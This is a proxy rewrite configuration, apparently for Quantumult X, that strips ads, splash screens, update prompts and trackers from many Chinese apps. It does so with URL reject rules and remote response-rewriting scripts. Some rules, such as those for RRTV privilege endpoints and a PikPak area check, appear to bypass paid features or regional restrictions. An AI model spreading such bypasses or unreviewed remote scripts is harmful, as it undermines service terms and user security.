+^https?:\/\/damang\.api\.mgtv\.com\/station\/album\/red\/dot\? url reject-dict +# 播放器界面 +^https?:\/\/hb-boom\.api\.mgtv\.com\/release\/pullReleaseInfo url reject-dict +# 我的页面 +^https?:\/\/me\.bz\.mgtv\.com\/v3\/module\/list\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 首页信息流,顶部tab +^https?:\/\/mob-st\.bz\.mgtv\.com\/odin\/c1\/channel\/index\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +^https?:\/\/dc2?\.bz\.mgtv\.com\/dynamic\/v1\/channel\/(index|vrsList)\/\w url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 底部tab +^https?:\/\/mobile\.api\.mgtv\.com\/mobile\/config\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 升级弹窗 +^https?:\/\/mobile\.api\.mgtv\.com\/v2\/mobile\/checkUpdate\? url reject-dict +# 播放详情页 +^https?:\/\/mobile\.api\.mgtv\.com\/v10\/video\/info\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +^https?:\/\/mobile-thor\.api\.mgtv\.com\/v1\/vod\/info\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 搜索框填充词 +^https?:\/\/mobileso\.bz\.mgtv\.com\/spotlight\/search\/v1\? url reject-dict +^https?:\/\/mobileso\.bz\.mgtv\.com\/mobile\/recommend\/v2\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js + +# > 马蜂窝 +# hostname = mapi.mafengwo.cn +^https?:\/\/mapi\.mafengwo\.cn\/(travelguide\/)?ad url reject +^https?:\/\/mapi\.mafengwo\.cn\/widget\/note\/get_widget_note url reject +^https?:\/\/mapi\.mafengwo\.cn\/system\/update\/check_update url reject-dict +^https?:\/\/mapi\.mafengwo\.cn\/system\/config\/(get|mark)_(push|alert)_config url reject-dict +^https?:\/\/mapi\.mafengwo\.cn\/system\/push\/get_local_push_config url reject +^https?:\/\/mapi\.mafengwo\.cn\/user\/profile\/get_(list|profile) url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/mafengwo.js + +# > 马达出行 +# hostname = mada-travel.17u.cn, ebk.17u.cn +# 开屏广告 +^https:\/\/mada-travel\.17u\.cn\/mdapi\/config\/ads url reject-dict +# 我的会员中心 +^https:\/\/mada-travel\.17u\.cn\/mdapi\/config\/mine url reject-dict +# 首页下方推广 +^https:\/\/mada-travel\.17u\.cn\/mdapi\/config\/tabAct url reject-dict +# 屏蔽更新 +^http:\/\/ebk\.17u\.cn\/tctrafficappversionadmin\/api\/getLatestVersionApp url reject-dict + +# > 咪咕视频 +# hostname = ggc.miguvideo.com, public-deliver9.miguvideo.com, display*-sc.miguvideo.com, recommend-dy.miguvideo.com, app-sc.miguvideo.com, common-sc.miguvideo.com, ggx*.miguvideo.com, ggic*.miguvideo.com +^https?:\/\/ggc\.miguvideo\.com\/v1\/iflyad\/deliverysystem\/direct\/ url reject-img +^https?:\/\/public-deliver9\.miguvideo\.com\/deliver\/site\/batchMatch\/mergeSpot\/miguvideo\/ url reject-dict +^https?:\/\/recommend-dy\.miguvideo\.com\/recommend-dynamic\/dataSource\/v1\/recommend\/merge url reject-dict +^https?:\/\/app-sc\.miguvideo\.com\/app-management\/v1\/staticcache\/settings\/miguvideo\/SHARE_PIC url reject-dict +^https?:\/\/common-sc\.miguvideo\.com\/videoActivity\/activityList\/ url reject-dict +^https?:\/\/ggx.+\.miguvideo\.com\/request\/sdk.+[^?]*$ url reject-dict +^https?:\/\/ggic\d+.miguvideo\.com\/ad\/ url reject-dict +^https?:\/\/display-sc\.miguvideo\.com\/display\/v3\/static\/PERSONAL_CENTER$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/refs/heads/main/Scripts/miguvideo/miguvideo_ads.js + +# > 秒拍 +# hostname = b-api.ins.miaopai.com +^https?:\/\/b-api\.ins\.miaopai\.com\/\d\/ad/ url reject + +# > 美图秀秀 +# hostname = mea.meitudata.com, adui.tg.meitu.com +^https?:\/\/mea\.meitudata\.com\/kaiping url reject +^https?:\/\/adui\.tg\.meitu\.com url reject-dict + +# > 马卡龙玩图 +# hostname = app.api.versa-ai.com, static01.versa-ai.com +^https?:\/\/app\.api\.versa-ai\.com\/launch\/ads\? url reject-200 +^https?:\/\/static01\.versa-ai\.com\/upload\/ec0ba51d68f9\/.*.jpg url reject-200 + +# > 蘑菇租房 +# hostname = api.mgzf.com +^https?:\/\/api\.mgzf\.com\/renter-operation\/home\/startHomePage url reject + +# > 美味不用等 +# hostname = capi.mwee.cn +^https?:\/\/capi\.mwee\.cn\/app-api\/V\d{2}\/app\/(ad|getstartad) url reject + +# > 漫画人 +# hostname = mangaapi.manhuaren.com, *mangaapi.manhuaren.* +^https?:\/\/mangaapi\.manhuaren\.com\/v\d\/public\/getStartPageAds url reject +^https?:\/\/.*mangaapi\.manhuaren\.\w{2,4}\/v\d\/public\/(getStartUpMessage|getStartPageAds|getShelfActivity) url reject +^https?:\/\/.*mangaapi\.manhuaren\.\w{2,4}\/v\d\/ad url reject + +# > 埋堆堆 +# hostname = sfo.mddcloud.com.cn, mob.mddcloud.com.cn, toblog.ctobsnssdk.com, t-dsp.pinduoduo.com, mobads-pre-config.cdn.bcebos.com, sdk1xyajs.data.kuiniuca.com,conf-darwin.xycdn.com,*.ubixioe.com +^https?:\/\/mob\.mddcloud\.com\.cn\/adApi\/advert\/(first|third)part\/advertList url reject-dict +^https?:\/\/t-dsp\.pinduoduo\.com url reject-200 +^https?:\/\/mobads-pre-config\.cdn\.bcebos\.com\/preload\.php url reject-200 +^https?:\/\/sfo\.mddcloud\.com\.cn\/api\/v\d\/sfo\/popup_displays? url reject-dict +^https?:\/\/tower\.ubixioe\.com\/mob\/mediation url reject +^https?:\/\/toblog\.ctobsnssdk\.com url reject-200 +^https?:\/\/conf-darwin\.xycdn\.com url reject-dict +^https?:\/\/sdk1xyajs\.data\.kuiniuca\.com url reject + +# > 脉脉 +# hostname = open.taou.com, h3.open.taou.com +# 感谢【可莉】分享 +# 开屏广告、职位页面横幅 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/adshow\? url reject-dict +# 赠送礼物 - 横幅 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/pay\/v5\/check_gift\? url reject-dict +# 帖子文末推广卡片 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/go_gossip_darwin\/external\/v2\/query_flow_cards\? url reject-dict +# 帖子末尾 - 看过此贴的用户也在看 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/feed\/v6\/detail_recommend_feeds\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/maimai/maimai_ads.js +# 移除信息流和评论区大块广告 - 信息流广告focus_feed / 评论区广告gossip_detail_comment / 评论区广告feed_detail_comment? +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/(feed|gossip)\/v\d\/(focus_feed|gossip_detail_comment|feed_detail_comment?)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/maimai/maimai_ads.js + +# > 麦当劳 +# hostname = api.mcd.cn +^https?:\/\/api\.mcd\.cn\/bff\/portal\/home\/splash url reject-200 + + + +# >>>>>>>>>>>>>>> ✅ N ✅ <<<<<<<<<<<<<< +# > NTPlay +# hostname = blog.nilbt.com +# 去升级弹窗 【Hua alex】分享 +^https?:\/\/blog\.nilbt\.com\/static\/api\/update url reject-200 + +# > 农业银行 +# hostname = midc.cdn-static.abchina.com.cn, enjoy.cdn-static.abchina.com +# ^https?:\/\/midc\.cdn-static\.abchina\.com\.cn\/distributecenterimg\/file\/download\/(?!bbc2|f015|1655|0992|4678|a194|d8e2|c513|e51c|0ee1|166e|05ca|c882|d5b8|22ed|a0dc|a55a|6f89|3bf9|3c71|52ec|5b62|ve7a|001c|923d|accf|4a10|0bd7|be7a|5b62|5dd6|1f24|006c|775d|bd02|b983|5251|806b|d119|db14|43c9|41d3|8570|2c10|85ea|1435|814e|f422|aec7|738c|d7c8|0538|02b4|fd20|7647|f6ef|07c5|885b|e4cb|685b|30aa|c23b|9603|f27f|eaf8|8011|a5eb|409d|724c|3f2a|e07f|6744|60a6|158c|8ce3) url reject-dict +^https?:\/\/midc\.cdn-static\.abchina\.com\.cn\/distributecenterimg\/file\/download\/(ed64|74b5) url reject +^https?:\/\/enjoy\.cdn-static\.abchina\.com\/yx-engine-web\/file\/download\/(?!7dc2|fe96|cea3|06a8|1b11|d57b|6918|61db|2d58|aa23|) url reject-200 +^https?:\/\/firefly\.abchina\.com\.cn\/firefly-collection\/Collect url reject-200 + +# > 奈菲影视 +# hostname = www.nfmovies.com +^https?:\/\/www\.nfmovies\.com\/pic\/tu\/ url reject-img +^https?:\/\/www\.nfmovies\.com\/templets\/default\/images\/logos url reject-img +^https?:\/\/www\.nfmovies\.com\/uploads\/images\/play\.jpg url reject-img + +# > 南方航空 +# hostname = 3g.csair.com +# 弹窗 +^https?:\/\/3g\.csair\.com\/CSMBP\/bookProcess\/homepopup\/queryAdvertisement url reject-200 + +# > 宁聚 +# hostname = api.nj.nbtv.cn +# 开屏广告 +^https?:\/\/api\.nj\.nbtv\.cn\/v2\/advertise\/advertise-r1\/get-list\?data=u8obKDIrIWt2NR9wBuMwQ5O61eEsP url reject-200 +# 弹窗广告 +^https?:\/\/api\.nj\.nbtv\.cn\/v\d\/common\/system-boot-inform\/detail url reject-200 + +# > 牛津高阶词典第十版 +# hostname = oxadmin.cp.com.cn +# 首页下方广告 +^https?:\/\/oxadmin\.cp\.com\.cn\/api\/hot\/index url reject-dict +^https?:\/\/oxadmin\.cp\.com\.cn\/api\/advertise\/banner url reject-dict + +# > 牛听听 +# hostname = gateway.benewtech.cn, ntt-app.benewtech.cn +^https:\/\/gateway\.benewtech\.cn\/resources-app\/app\/startup\/prepage url reject-dict +^https:\/\/ntt-app\.benewtech\.cn\/v6\/user\/\d+\/messages\/event url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ O ✅ <<<<<<<<<<<<<< +# > ofo共享单车 +# hostname = supportda.ofo.com, ma.ofo.com, activity2.api.ofo.com +^https?:\/\/supportda\.ofo\.com\/adaction\? url reject +^https?:\/\/ma\.ofo\.com\/adImage\/ url reject +^https?:\/\/ma\.ofo\.com\/ads url reject +^https?:\/\/activity2\.api\.ofo\.com\/ofo\/Api\/v2\/ads url reject + +# > ONE +# hostname = v3.wufazhuce.com, app.api.d3yuiw4.com, api.21ec74.com +# 开屏广告 +^https?:\/\/v3\.wufazhuce\.com:8000\/api\/adpreloadlist url reject-dict +^https?:\/\/app\.api\.d3yuiw4\.com\/api\/app\/ad url reject +^https?:\/\/api\.21ec74\.com\/v2\.5\/ad url reject + +# > omofun +# hostname = 103.91.210.141 +^https?:\/\/103\.91\.210\.141\:2515\/xgapp\.php\/v2\/top_notice url reject + +# > Oray +# hostname = slapi.oray.net +^https?:\/\/slapi\.oray\.net\/client\/ad url reject +^https?:\/\/slapi\.oray\.net\/adver url reject + + + +# >>>>>>>>>>>>>>> ✅ P ✅ <<<<<<<<<<<<<< +# > pikpak +# hostname = access.mypikpak.com +https://access.mypikpak.com/access_controller/v1/area_accessible url reject + +# > PushPlus微信推送广告 +# hostname = image.pushplus.plus, www.pushplus.plus +# 屏蔽图片广告,但是还有css空白模块, 如开启可自行添加主机名 +#^https?:\/\/image\.pushplus\.plus\/ad.* url reject-dict +# 屏蔽广告推送模块,会把“打开小程序”也屏蔽 +^https?:\/\/www\.pushplus\.plus.* url response-body () response-body $1 + +# > 浦发银行 +# hostname = lban.spdb.com.cn, wap.spdb.com.cn +^https?:\/\/lban\.spdb\.com\.cn\/mspmk-web-component\/getAdvList\.ah$ url reject +^https?:\/\/lban\.spdb\.com\.cn\/mspmk-web-component\/getAdvertisementList\.ah url reject +^https?:\/\/lban\.spdb\.com\.cn\/mspmk-web-component\/prefetchAdvList\.ah url reject +^https?:\/\/wap\.spdb\.com\.cn\/mspmk-web-homeassist\/OpenScreenAdv\.ah$ url reject + +# > 浦大喜奔 +# hostname = image.spdbccc.com.cn +^https?:\/\/image\.spdbccc\.com\.cn\/group\d\/M00\/[A-Z0-9]{2}\/[A-Z0-9]{2}\/.+(4038|0571|M511|V-008|g549|b0628|fg817|5w501|Jo341|Z4583|oo845|i4905|MY245|YU472|Y401|w428|s000) url reject-dict + +# > 朴朴超市 +# hostname = j1.pupuapi.com, 54.222.159.138 +# 开屏广告 感谢【Ava阿檬】分享 +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/banner\/v7\?position_types=2(%[A-Z0-9]+)+&store_id url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/PupuSplashAds.js +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/banner\/v7\?position_types=(?!2)(.*)&store_id url reject +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/banner\/v7\?position url reject +^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/advertisement\/v1\? url reject-dict +^https?:\/\/54\.222\.159\.138:8053\/^httpdns\/resolve\? url reject-dict + +# > 平安好车主 +# hostname = iobs.pingan.com.cn, hcz-member.pingan.com.cn +^https?:\/\/iobs\.pingan\.com\.cn\/download\/bweb-per-sf-prd\/bweb url reject-200 +^https?:\/\/iobs\.pingan\.com\.cn\/download\/icore-aops-base-dmz-prd\/(YourSystemName|icore-apps-ad) url reject-200 +^https?:\/\/hcz-member\.pingan\.com\.cn\/micro-api\/homepage\/do\/app\/popbox\/getTopPopBox url reject + +# > 平安壹钱包 +# hostname = mobile.1qianbao.com +^https?:\/\/mobile\.1qianbao\.com\/mtp-web\/ui\/op_common_query_business_yqb\.json url reject-200 + +# > 平安证券 +# 开屏广告 感谢【umie】分享 +# hostname = pacdn.m.stock.pingan.com +^https?:\/\/pacdn\.m\.stock\.pingan\.com\/images\/ url reject-dict + +# > 平安口袋银行 +# hostname = cdn.sdb.com.cn +^https?:\/\/cdn\.sdb\.com\.cn\/widget\/magic-module-sprite\/general-banner url reject-200 +^https?:\/\/cdn\.sdb\.com\.cn\/widget\/magic-module-sprite\/dialog-normal url reject-dict +^https?:\/\/cdn\.sdb\.com\.cn\/widget\/pb\/pb-plugins-recomend-content url reject-dict +# 信用卡-精彩活动模块 +#^https?:\/\/cdn\.sdb\.com\.cn\/widget\/magic-module-sprite\/four-rectangle-grid url reject-dict + +# > 拼多多 +# hostname = api.pinduoduo.com, api.yangkeduo.com, mobile.yangkeduo.com +^https?:\/\/api\.(pinduoduo|yangkeduo)\.com\/api\/cappuccino\/splash url reject +^https?:\/\/api\.pinduoduo\.com\/api\/aquarius\/hungary\/global\/homepage\? url reject-dict +# 多多买菜 开屏广告 +^https?:\/\/mobile\.yangkeduo\.com\/proxy\/api\/api\/express\/post\/waybill\/red_packet\/goods_list$ url response-body "list":\[.+\] response-body "list":[] + +# > 票根 +# hostname = pss.txffp.com +^https?:\/\/pss\.txffp\.com\/piaogen\/images\/launchScreen/ url reject-200 + +# > 票星球 +# hostname = appapi.caiyicloud.com +^https:\/\/appapi\.caiyicloud\.com\/cyy_gatewayapi\/home\/pub\/v3\/banners\/app_start_page url reject-dict + +# > 澎湃新闻 +# hostname = adpai.thepaper.cn +^https?:\/\/adpai\.thepaper\.cn\/.+&ad= url reject + +# > 皮皮虾 +# hostname = *.pipix.com +# 净化 配合图层效果极佳 首页Tap精简 我的页面去除无用模块 感谢【怎么肥事】分享 +#^https?:\/\/.+\.pipix\.com\/bds\/feed\/channel_list\/ url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/PPX.js +#^https?:\/\/.+\.pipix\.com\/bds\/user\/check_in\/ url script-response-body https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/PPX.js + +# > 皮皮搞笑评论区 +# hostname = adapi.izuiyou.com +^https?:\/\/adapi\.izuiyou\.com\/ad\/fetch_api_ads\? url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ Q ✅ <<<<<<<<<<<<<< +# > QQ钱包 +# hostname = m.qianbao.qq.com +^https?:\/\/m\.qianbao\.qq\.com\/pages\/walletHome\?invisible url reject + +# > QQ浏览器 +# hostname = us.l.qq.com +^https?:\/\/us\.l\.qq\.com\/exapp\?spsa=\d url reject + +# > QQ音乐 +# hostname = us.l.qq.com, y.gtimg.cn +^https?:\/\/us\.l\.qq\.com\/exapp url reject +^https?:\/\/y\.gtimg\.cn\/music\/common\/upload\/t_splash_info\/ url reject +^https?:\/\/.+?\/music\/common\/upload\/t_splash_info\/ url reject +^https?:\/\/y\.gtimg\.cn\/music\/common\/\/upload\/kg_ad/.*?\d{4}\.jpg url reject-img +^https?:\/\/y\.gtimg\.cn\/music\/common\/upload\/targeted_ads url reject-img +^https?:\/\/((25[0-5]|2[0-4]\d|1\d{2}|[1-9]?\d)\.){3}(25[0-5]|2[0-4]\d|1\d{2}|[1-9]?\d)\/music\/common\/upload\/t_splash_info\/ url reject + +# > 去哪儿 +# hostname = qde.qunar.com, homefront.qunar.com, client.qunar.com +^https?:\/\/qde\.qunar\.com\/preload url reject-200 +# 开屏广告 +^https?:\/\/homefront\.qunar\.com\/front\/splash\/ad url reject-dict +^https?:\/\/client\.qunar\.com\/pitcher-proxy\?qrt=p_splashAd url reject + +# > 起点读书 +# hostname = qidian.qpic.cn, mage.if.qidian.com, magev6.if.qidian.com +^https?:\/\/qidian\.qpic\.cn\/qidian_common url reject-img +^https?:\/\/mage\.if\.qidian\.com\/Atom\.axd\/Api\/Client\/GetConfIOS url reject-img +^https?:\/\/mage\.if\.qidian\.com\/argus\/api\/v\d\/client\/getsplashscreen url reject +^https?://magev6.if.qidian.com/argus/api/v1/client/iosad url reject +^https?://magev6.if.qidian.com/argus/api/v1/bookshelf/getad url reject +^https?://magev6.if.qidian.com/argus/api/v4/client/getsplashscreen? url reject +# 起点开屏页广告,每日导读去除,冷启动强制跳转精选页去除,去除发现页弹出的活动弹窗,去除下方(精选 发现 中间的)活动时的tab,去除书架右下角的活动/广告的悬浮icon,搜索页可以搜索用户 +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/(v4\/client\/getsplashscreen|v2\/deeplink\/geturl|v1\/(client\/getconf|adv\/getadvlistbatch\?positions=iOS_tab|dailyrecommend\/getdailyrecommend)) url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/qidian.js +# 起点读书投票、章末免费领取章节卡等 +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/adv url reject-dict +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/followsubscribe url reject-dict +# 我的界面及活动按钮 +#^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/(v1\/assembly\/toolbar|v3\/user\/getaccountpage) url script-response-body https://raw.githubusercontent.com/Yu9191/Rewrite/main/Qidian_my.js +# 我的界面内测推广 +^http[s]?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/bookshelf\/refresh url reject-dict +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/adv\/getadvlistbatch url reject +# 书架置顶推广(保留签到移除花哨背景) +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v1\/bookshelf\/getTopOperation url reject-dict +# 发现上面的图标屏蔽 +^https?:\/\/magev6\.if\.qidian\.com\/argus\/api\/v2\/adv\/getadvlistbatch url reject-dict + +# > 七猫小说 +# hostname = open.e.kuaishou.cn, api-access.pangolin-sdk-toutiao-b.com, api-access.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao1.com, dsp-x.jd.com,api-cfg.wtzw.com, p1-lm.adukwai.com, lf-cdn-tos.bytescm.com +# 删除了域名lf-cdn-tos.bytescm.com,原因是无法MITM +^https?:\/\/open\.e\.kuaishou\.cn\/rest\/e\/v3\/open\/univ url reject +^https?:\/\/api-access\.pangolin-sdk-toutiao-b\.com\/api\/ad\/union\/sdk\/get_ads url reject +^https?:\/\/api-access\.(pangolin-sdk-toutiao|pangolin-sdk-toutiao1)\.com\/api\/ad url reject +^https?:\/\/dsp\-x\.jd\.com\/adx\/sdk url reject +^https?:\/\/api\-cfg\.wtzw\.com\/v1\/(adv|reward|operation) url reject +^https?:\/\/p1\-lm\.adukwai\.com\/bs2\/adUnionVideo url reject +^https?:\/\/lf\-cdn\-tos\.bytescm\.com\/obj\/static\/ad url reject + +# > 穷游 +# hostname = open.qyer.com, media.qyer.com +^https?:\/\/open\.qyer\.com\/qyer\/startpage\/ url reject-200 +^https?:\/\/open\.qyer\.com\/qyer\/config\/get url reject +^https?:\/\/media\.qyer\.com\/ad\/ url reject + +# > 汽车之家 +# hostname = adproxy.autohome.com.cn, app2.autoimg.cn +^https?:\/\/adproxy\.autohome\.com\.cn\/AdvertiseService\/ url reject-img +^https?:\/\/app2\.autoimg\.cn\/apppdfs\/ url reject-img + +# > 汽水音乐 +# hostname = webcast-open.douyin.com, ether-pack.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao?.com, sf*-fe-tos.pglstatp-toutiao.com, lf-cdn-tos.bytescm.com +# 感谢【可莉】分享 +# 发现页面 - 正在直播 +^https:\/\/webcast-open\.douyin\.com\/webcast\/openapi\/feed\/\? url reject-dict +# 字节跳动广告 +^https:\/\/ether-pack\.pangolin-sdk-toutiao\.com\/union\/endcard\/ url reject +^https:\/\/api-access\.pangolin-sdk-toutiao\d?\.com\/api\/ad\/ url reject +^https:\/\/sf\d+-fe-tos\.pglstatp-toutiao\.com\/obj\/ad-pattern\/ url reject +^https:\/\/lf-cdn-tos\.bytescm\.com\/obj\/static\/ad\/ url reject + +# > 奇瑞汽车 +# hostname = +# 开屏广告 +^https:\/\/mobile-consumer-sapp\.chery\.cn\/web\/position\/getShowList\?displayPlatform=1&tabType=0& url reject-dict + +# > 球迷报 +# hostname = a.qiumibao.com +^https?:\/\/a\.qiumibao\.com\/activities\/config\.php url reject +^https?:\/\/a\.qiumibao\.com\/ios\/config\/\?version_code= url reject + +# > 亲宝宝 +# hostname = api.qbb6.com +^https?:\/\/api\.qbb6\.com\/ad\/ url reject + +# > 全民K歌 +# hostname = y.gtimg.cn +^https?:\/\/y\.gtimg\.cn\/music\/common\/\/upload\/kg_ad\/.+?\d{3,4}x\d{4} url reject-200 + +# > 全家便利店 +# hostname = fmapp.chinafamilymart.com.cn +^https?:\/\/fmapp\.chinafamilymart\.com\.cn\/api\/app\/biz\/base\/appversion\/latest url reject + +# > 全能浏览器 +# hostname = mi.gdt.qq.com +# 感谢【梭哈 All in】分享 +^https?:\/\/mi\.gdt\.qq\.com\/gdt_mview\.fcg\?posid= url reject-dict + +# > 全球购骑士卡 +# hostname = facade-api.black-unique.com +# 开屏广告 感谢【Kook】分享 +^https?:\/\/facade-api\.black-unique\.com\/app\/v1\/startScreen\?cityId=102923&channelId=0&width=1170&height=2532 url reject-dict +^https?:\/\/facade-api\.black-unique\.com\/app\/v1\/startScreen\?.* url reject-dict +^https?:\/\/facade-api\.black-unique\.com\/advertise\/v1\/get\?cityId=102923&positions=mine_popup url reject-dict +^https?:\/\/facade-api\.black-unique\.com\/advertise\/v1\/get\?.* url reject-dict + +# > 前程无忧 51Job +# hostname = img01.51jobcdn.com, appapi.51job*.com, cupid.51job*.com +# 去广告 (需卸载App重装) img01.51jobcdn.com +^https:\/\/img01\.51jobcdn\.com\/im\/mkt/(?:tg/((19|20)\d{2})banner/(?!jcgz2/)|\d{4}/bd/\d{4}/).*\.jpg url reject +# 屏蔽更新 +^https?:\/\/appapi\.51job(app)?\.com\/api\/util\/get_version url reject-dict +^https?:\/\/cupid\.51job(app)?\.com\/open\/noauth\/index\/last-version url reject-dict +# 开屏及营销广告 +^https?:\/\/appapi\.51job(app)?\.com\/api\/market\/(?>adtrace|get_launch|get_prompt) url reject +# 顶部弹窗 +^https?:\/\/cupid\.51job(app)?\.com\/open\/guide\/home-page-top url reject +# 首页右上角浮窗及右边浮标 +^https?:\/\/cupid\.51job(app)?\.com\/open\/user-task\/user\/task\/init url reject +# 底栏中央活动标 +^https?:\/\/cupid\.51job(app)?\.com\/open\/index\/notice-infos url reject-dict +# 弹窗广告 +^https?:\/\/cupid\.51job(app)?\.com\/launch-hub\/open\/noauth\/popUp url reject +# 推荐流信息广告 +^https?:\/\/cupid\.51job(app)?\.com\/open\/index\/recommend-infos url reject +^https?:\/\/cupid\.51job(app)?\.com\/open\/noauth\/recommend\/job-tab-dynamic url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/51job.js +# 我的页净化 +^https?:\/\/cupid\.51job(app)?\.com\/open\/my-page\/ url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/51job.js + +# > 去哒 +# hostname = iqushangwang.8quan.com +# 首页开屏广告 感谢【德克萨斯】分享 +^https?:\/\/iqushangwang\.8quan\.com\/index\.php\/i\/index\/index url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/QuDa.js + +# 企迈 - QMAI(包含: 挪瓦咖啡、林里柠檬茶、霸王茶姬、陈香贵) +# hostname = webapi.qmai.cn, miniapp.qmai.cn +^https?:\/\/(?>webapi|miniapp)\.qmai\.cn\/web\/cmk-center\/marketing\/canvas\/advert url reject +^https?:\/\/(?>webapi|miniapp)\.qmai\.cn\/web\/catering([0-9]-apiserver)?\/advertising\/ad\/advertiseInfo url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/qmai.js + + +# >>>>>>>>>>>>>>> ✅ R ✅ <<<<<<<<<<<<<< +# > Reddit +# hostname = gql.reddit.com, gql-fed.reddit.com +# 过滤推广 关NSFW提示 感谢【xream】分享 +^https?:\/\/gql(-fed)?\.reddit\.com url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/reddit.js + +# > 人民日报 +# hostname = app.peopleapp.com, stat.peopleapp.com, adstatic.peopleapp.com +^https?:\/\/app\.peopleapp\.com\/Api\/\d+/HomeApi\/(adv|getAdvertImage) url reject +^https?:\/\/stat\.peopleapp\.com\/ url reject +^https?:\/\/adstatic\.peopleapp\.com\/upload\/AppLoad\/.*.(jpg|png) url reject-200 + +# > 人人视频 +# hostname = api.rr.tv +# > RRTV_level_info +^https?:\/\/api\.rr\.tv\/\w{3}\/level\/info url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_屏蔽軟件更新 +^https?:\/\/api\.rr\.tv\/.*?Version url reject +# > RRTV_去除首頁廣告 +https://api.rr.tv/v3plus/index/channel\?pageNum=1&position=CHANNEL_INDEX url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_去除廣場tab +^https?:\/\/api\.rr\.tv\/app\/config\/h5NativeBar url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_去除商城廣告 +^https?:\/\/api\.rr\.tv\/v3plus\/index\/channel\?pageNum=1&position=CHANNEL_MY url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_Ad_List +^https?:\/\/api\.rr\.tv\/user\/privilege\/list url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_Ad_All +^https?:\/\/api\.rr\.tv\/ad\/getAll url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_Get_Drama +^https?:\/\/api\.rr\.tv\/drama\/app\/get_combined_drama_detail url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_Watch_V4 +https://api.rr.tv/watch/v4 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_User_Info +https://api.rr.tv/user/profile url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js +# > RRTV_屏蔽限時彈窗 +https://api.rr.tv/storage/business/rootName/app/homePage\?dataType=JSON url reject-dict + +# > 日日煮 +# hostname = cms.daydaycook.com.cn, api.daydaycook.com.cn +^https?:\/\/cms\.daydaycook\.com\.cn\/api\/cms\/advertisement\/ url reject +^https?:\/\/api\.daydaycook\.com\.cn\/daydaycook\/server\/ad\/ url reject + +# > 日淘任意门 +# hostname = app.meruki.cn +# 开屏广告 感谢【Ava阿檬】分享 +^https?:\/\/app\.meruki\.cn\/\?n=Sig\.Front\.AppFront\.GetOpenAdDoorzo url reject-dict + +# > 日产智联 +# hostname = oneapph5.dongfeng-nissan.com.cn +# 开屏广告 +^https?:\/\/oneapph5\.dongfeng-nissan\.com\.cn\/mb-gw\/vmsp-discover\/rest\/business-service\/v1\/advert\/advertinfo url reject-dict + +# > RARBG +# hostname = dyncdn.me +# https://rarbgmirror.org/torrents.php +^https?:\/\/dyncdn\.me\/static\/\d{0,2}\/js\/expla\d{0,4}\.js$ url reject-200 +^https?:\/\/dyncdn\.me\/static\/\d{0,2}\/js\/showads\.js$ url response-body true response-body false + +# > 瑞幸咖啡 +# hostname = capi.lkcoffee.com, ecapi.lkcoffee.com, m.lkcoffee.com, img0*.luckincoffeecdn.com +^https?:\/\/capi\.lkcoffee\.com\/resource\/m\/sys\/app\/adposNew url response-body \{.+\} response-body {"status":"SUCCESS"} +^https?:\/\/(ec|c)api\.lkcoffee\.com\/resource\/m\/eorder\/product\/popAppTagProductList url response-body \{.+\} response-body {"status":"SUCCESS"} 